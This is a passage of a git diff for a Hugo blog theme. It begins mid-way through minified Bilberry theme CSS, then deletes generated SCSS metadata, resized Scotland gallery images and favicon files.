a:not(:last-child):after{content:" | ";color:#222!important}.bilberry-hugo-theme article.quote{background-color:#2d3642}.bilberry-hugo-theme article.quote:after{border-right-color:#2d3642}.bilberry-hugo-theme article.quote a:hover{color:inherit;font-size:1.1em}.bilberry-hugo-theme article.quote .featured-image{position:absolute;top:0;left:0;width:100%;height:100%;z-index:5;opacity:.25}.bilberry-hugo-theme article.quote blockquote{padding:5.5%;margin:0;text-align:center;color:#fff;background:0 0;font-size:1.2em;position:relative;z-index:10}.bilberry-hugo-theme article.quote blockquote p{line-height:170%;font-size:1.1em}.bilberry-hugo-theme article.quote blockquote cite{font-family:comfortaa,sans-serif;font-weight:600;text-transform:uppercase;line-height:140%;font-size:.725em;text-align:center;letter-spacing:1px}.bilberry-hugo-theme article.quote blockquote cite:before{content:"— "}.bilberry-hugo-theme article.gallery .flexslider{margin:0;border:0}.bilberry-hugo-theme article.gallery .flexslider .flex-direction-nav a{display:flex;flex-direction:column;justify-content:center}.bilberry-hugo-theme article.gallery .flexslider .flex-direction-nav a:before{color:#ffffffe5;text-shadow:1px 1px 5px #00000080}.bilberry-hugo-theme article.video .responsive-video{position:relative;padding-bottom:56.25%;padding-top:0;height:0;overflow:hidden}.bilberry-hugo-theme article.video .responsive-video iframe{position:absolute;top:0;left:0;width:100%;height:100%}.bilberry-hugo-theme article.audio .responsive-audio iframe{width:100%}.bilberry-hugo-theme article.link{background-color:#2d3642;min-height:7em}.bilberry-hugo-theme article.link:after{border-right-color:#2d3642}.bilberry-hugo-theme article.link:hover{background-color:#5c8b59;transition:all .3s ease-in-out}.bilberry-hugo-theme article.link:hover:after{border-right-color:#5c8b59;transition:all .3s ease-in-out}.bilberry-hugo-theme article.link .featured-image{position:absolute;top:0;left:0;width:100%;height:100%;z-index:5;opacity:.25}.bilberry-hugo-theme article.link a{color:#fff;text-decoration:none;display:flex;flex-direction:column;justify-content:center;align-items:center;left:0;top:0;width:100%;height:100%;position:relative;z-index:10}.bilberry-hugo-theme article.link a h4{font-variant:small-caps;font-size:2em;margin:2rem}.bilberry-hugo-theme article.link a p{margin:2em;margin-top:0}.bilberry-hugo-theme #disqus_thread{margin-left:100px;padding-bottom:1.2em}.bilberry-hugo-theme .paginator{display:flex;margin-left:100px;margin-top:75px;padding-bottom:1em}.bilberry-hugo-theme .paginator .fa{margin:0 .25em}.bilberry-hugo-theme .paginator a{border-radius:4px;padding:1em 2em;text-decoration:none;font-weight:700;background-color:#b4b4b4;color:#fff}.bilberry-hugo-theme .paginator a:hover{background-color:#5c8b59;transition:all .3s ease-in-out}.bilberry-hugo-theme .paginator a.older{margin-right:auto}.bilberry-hugo-theme .paginator a.newer{margin-left:auto}.bilberry-hugo-theme footer{border-top:3px solid #eee;border-bottom:3px solid #eee;background-color:#fff}.bilberry-hugo-theme footer .container{padding:4rem 0;display:flex;justify-content:space-between;font-size:.9em;font-family:comfortaa,sans-serif}.bilberry-hugo-theme footer .container div:not(:first-child){margin-left:5%}.bilberry-hugo-theme footer .container:after{display:none}.bilberry-hugo-theme footer .container strong{text-transform:uppercase;color:#444;padding-bottom:.75em}.bilberry-hugo-theme footer .container ul{list-style:none;margin-top:1.25em}.bilberry-hugo-theme footer .container ul li{border-bottom:1px solid #eee;padding-right:10px}.bilberry-hugo-theme footer .container ul a{position:relative;left:0;display:inline-block;transition:left .3s ease-in-out;color:#5c8b59;font-family:open sans,sans-serif}.bilberry-hugo-theme footer .container ul a:hover{left:10px;color:#1d1f38}.bilberry-hugo-theme footer .container .right .external-profiles{width:100%;margin-bottom:2em}.bilberry-hugo-theme footer .container .right .external-profiles a{font-size:2em;margin:0 .5rem;color:#444}.bilberry-hugo-theme footer .container .right .external-profiles a:hover{color:#5c8b59}.bilberry-hugo-theme footer .container .right .external-profiles .fa-facebook-adblock-proof:before{content:"\f09a"}.bilberry-hugo-theme footer .container .right .external-profiles .fa-twitter-adblock-proof:before{content:"\f099"}.bilberry-hugo-theme footer .container .right .external-profiles .fa-google-plus-official-adblock-proof:before{content:"\f2b3"}.bilberry-hugo-theme footer .container .right .external-profiles .fa-youtube-adblock-proof:before{content:"\f167"}.bilberry-hugo-theme footer .container .right .languages{width:100%;margin-left:0}.bilberry-hugo-theme footer .container .right .languages a{text-transform:uppercase;color:#5c8b59;letter-spacing:.1em}.bilberry-hugo-theme footer .container .right .languages a.active{font-weight:700}.bilberry-hugo-theme footer .container .right .languages a:hover{color:#222}.bilberry-hugo-theme footer .container .right .languages a:not(:last-child):after{content:" | ";color:#222!important}.bilberry-hugo-theme footer .container .right strong{display:block}.bilberry-hugo-theme .credits .container{display:flex;justify-content:space-between;padding:4rem 0;font-size:.8em;color:#777}.bilberry-hugo-theme .credits .container:after{display:none}@media(max-width:834px){.bilberry-hugo-theme nav.permanentTopNav{display:none}.bilberry-hugo-theme nav .container{flex-direction:column-reverse;padding:0 1.5em}.bilberry-hugo-theme nav .container .topnav{flex-direction:column;justify-content:center;align-items:center;margin-bottom:.5em;width:100%}.bilberry-hugo-theme nav .container .topnav li{width:100%}.bilberry-hugo-theme nav .container .topnav a{padding:.75em 0;display:block;width:100%}.bilberry-hugo-theme nav .container .search{margin:.5em 1.5em;width:100%}.bilberry-hugo-theme nav .container .search input{width:100%}.bilberry-hugo-theme header{width:100%}.bilberry-hugo-theme header .container{padding:0 1em}.bilberry-hugo-theme header .toggler{right:1.5em}.bilberry-hugo-theme header .toggler.permanentTopNav{display:block}.bilberry-hugo-theme .bubble{display:none!important}.bilberry-hugo-theme .container{width:100%;padding:0}.bilberry-hugo-theme .container:before,.bilberry-hugo-theme .container:after{display:none!important}.bilberry-hugo-theme .main{margin-bottom:0}.bilberry-hugo-theme .main article{margin:0;width:100%}.bilberry-hugo-theme .main article:before,.bilberry-hugo-theme .main article:after{display:none!important}.bilberry-hugo-theme .main #disqus_thread{margin:0 1.5em}.bilberry-hugo-theme .main .paginator{margin:1.5em;margin-top:50px}.bilberry-hugo-theme footer .container{padding:4rem 1.5em;flex-direction:column;text-align:center}.bilberry-hugo-theme footer .container div{width:100%;margin:0!important;margin-top:1.5em!important}.bilberry-hugo-theme .credits .container{padding:4rem 1.5em}} \ No newline at end of file diff --git a/themes/resources/_gen/assets/scss/sass/combined.scss_1dad3bd1d055240d1e75d37c621205ba.json b/themes/resources/_gen/assets/scss/sass/combined.scss_1dad3bd1d055240d1e75d37c621205ba.json deleted file mode 100644 index 092cd500..00000000 --- a/themes/resources/_gen/assets/scss/sass/combined.scss_1dad3bd1d055240d1e75d37c621205ba.json +++ /dev/null @@ -1 +0,0 @@ -{"Target":"sass/combined.min.717098cb5503581e75f12e486a847ca410bf8367d4d8713f4c37affc868c5a1d.css","MediaType":"text/css","Data":{"Integrity":"sha256-cXCYy1UDWB518S5IaoR8pBC/g2fU2HE/TDev/IaMWh0="}} \ No newline at end of file diff --git a/themes/resources/_gen/images/de/gallery/my-trip-to-scotland/scotland1_hu92019f4794a0544a3ad4410e554ad3af_67831_700x350_fill_q95_box_smart1.jpg b/themes/resources/_gen/images/de/gallery/my-trip-to-scotland/scotland1_hu92019f4794a0544a3ad4410e554ad3af_67831_700x350_fill_q95_box_smart1.jpg deleted file mode 100644 index 440e18fb..00000000 Binary files a/themes/resources/_gen/images/de/gallery/my-trip-to-scotland/scotland1_hu92019f4794a0544a3ad4410e554ad3af_67831_700x350_fill_q95_box_smart1.jpg and /dev/null differ diff --git a/themes/resources/_gen/images/de/gallery/my-trip-to-scotland/scotland2_hud2b2cd68da7f6388575395354a188425_35351_700x350_fill_q95_box_smart1.jpg b/themes/resources/_gen/images/de/gallery/my-trip-to-scotland/scotland2_hud2b2cd68da7f6388575395354a188425_35351_700x350_fill_q95_box_smart1.jpg deleted file mode 100644 index cd84ebf8..00000000 Binary files a/themes/resources/_gen/images/de/gallery/my-trip-to-scotland/scotland2_hud2b2cd68da7f6388575395354a188425_35351_700x350_fill_q95_box_smart1.jpg and /dev/null differ diff --git a/themes/resources/_gen/images/de/gallery/my-trip-to-scotland/scotland3_hu85c54f52b5fe4dbca0189cd47269771e_50040_700x350_fill_q95_box_smart1.jpg b/themes/resources/_gen/images/de/gallery/my-trip-to-scotland/scotland3_hu85c54f52b5fe4dbca0189cd47269771e_50040_700x350_fill_q95_box_smart1.jpg deleted file mode 100644 index ebe6cec2..00000000 Binary files a/themes/resources/_gen/images/de/gallery/my-trip-to-scotland/scotland3_hu85c54f52b5fe4dbca0189cd47269771e_50040_700x350_fill_q95_box_smart1.jpg and /dev/null differ diff --git a/themes/resources/_gen/images/de/gallery/my-trip-to-scotland/scotland4_hu1c4902c66176c948fd8516244d69cc1e_56034_700x350_fill_q95_box_smart1.jpg b/themes/resources/_gen/images/de/gallery/my-trip-to-scotland/scotland4_hu1c4902c66176c948fd8516244d69cc1e_56034_700x350_fill_q95_box_smart1.jpg deleted file mode 100644 index b9987729..00000000 Binary files a/themes/resources/_gen/images/de/gallery/my-trip-to-scotland/scotland4_hu1c4902c66176c948fd8516244d69cc1e_56034_700x350_fill_q95_box_smart1.jpg and /dev/null differ diff --git a/themes/resources/_gen/images/de/gallery/my-trip-to-scotland/scotland5_hu5ddc646a14d071d83d62e36cc9a8eba6_46028_700x350_fill_q95_box_smart1.jpg b/themes/resources/_gen/images/de/gallery/my-trip-to-scotland/scotland5_hu5ddc646a14d071d83d62e36cc9a8eba6_46028_700x350_fill_q95_box_smart1.jpg deleted file mode 100644 index 83673a15..00000000 Binary files a/themes/resources/_gen/images/de/gallery/my-trip-to-scotland/scotland5_hu5ddc646a14d071d83d62e36cc9a8eba6_46028_700x350_fill_q95_box_smart1.jpg and /dev/null differ diff --git a/themes/resources/_gen/images/gallery/my-trip-to-scotland/scotland1_hu92019f4794a0544a3ad4410e554ad3af_67831_700x350_fill_q95_box_smart1.jpg b/themes/resources/_gen/images/gallery/my-trip-to-scotland/scotland1_hu92019f4794a0544a3ad4410e554ad3af_67831_700x350_fill_q95_box_smart1.jpg deleted file mode 100644 index 440e18fb..00000000 Binary files a/themes/resources/_gen/images/gallery/my-trip-to-scotland/scotland1_hu92019f4794a0544a3ad4410e554ad3af_67831_700x350_fill_q95_box_smart1.jpg and /dev/null differ diff --git a/themes/resources/_gen/images/gallery/my-trip-to-scotland/scotland2_hud2b2cd68da7f6388575395354a188425_35351_700x350_fill_q95_box_smart1.jpg b/themes/resources/_gen/images/gallery/my-trip-to-scotland/scotland2_hud2b2cd68da7f6388575395354a188425_35351_700x350_fill_q95_box_smart1.jpg deleted file mode 100644 index cd84ebf8..00000000 Binary files a/themes/resources/_gen/images/gallery/my-trip-to-scotland/scotland2_hud2b2cd68da7f6388575395354a188425_35351_700x350_fill_q95_box_smart1.jpg and /dev/null differ diff --git a/themes/resources/_gen/images/gallery/my-trip-to-scotland/scotland3_hu85c54f52b5fe4dbca0189cd47269771e_50040_700x350_fill_q95_box_smart1.jpg b/themes/resources/_gen/images/gallery/my-trip-to-scotland/scotland3_hu85c54f52b5fe4dbca0189cd47269771e_50040_700x350_fill_q95_box_smart1.jpg deleted file mode 100644 index ebe6cec2..00000000 Binary files a/themes/resources/_gen/images/gallery/my-trip-to-scotland/scotland3_hu85c54f52b5fe4dbca0189cd47269771e_50040_700x350_fill_q95_box_smart1.jpg and /dev/null differ diff --git a/themes/resources/_gen/images/gallery/my-trip-to-scotland/scotland4_hu1c4902c66176c948fd8516244d69cc1e_56034_700x350_fill_q95_box_smart1.jpg b/themes/resources/_gen/images/gallery/my-trip-to-scotland/scotland4_hu1c4902c66176c948fd8516244d69cc1e_56034_700x350_fill_q95_box_smart1.jpg deleted file mode 100644 index b9987729..00000000 Binary files a/themes/resources/_gen/images/gallery/my-trip-to-scotland/scotland4_hu1c4902c66176c948fd8516244d69cc1e_56034_700x350_fill_q95_box_smart1.jpg and /dev/null differ diff --git a/themes/resources/_gen/images/gallery/my-trip-to-scotland/scotland5_hu5ddc646a14d071d83d62e36cc9a8eba6_46028_700x350_fill_q95_box_smart1.jpg b/themes/resources/_gen/images/gallery/my-trip-to-scotland/scotland5_hu5ddc646a14d071d83d62e36cc9a8eba6_46028_700x350_fill_q95_box_smart1.jpg deleted file mode 100644 index 83673a15..00000000 Binary files a/themes/resources/_gen/images/gallery/my-trip-to-scotland/scotland5_hu5ddc646a14d071d83d62e36cc9a8eba6_46028_700x350_fill_q95_box_smart1.jpg and /dev/null differ diff --git a/themes/static/favicon-16x16.png b/themes/static/favicon-16x16.png deleted file mode 100644 index c62ce6fb..00000000 Binary files a/themes/static/favicon-16x16.png and /dev/null differ diff --git a/themes/static/favicon-32x32.png b/themes/static/favicon-32x32.png deleted file mode 100644 index 57a018e3..00000000 Binary files a/themes/static/favicon-32x32.png and /dev/null differ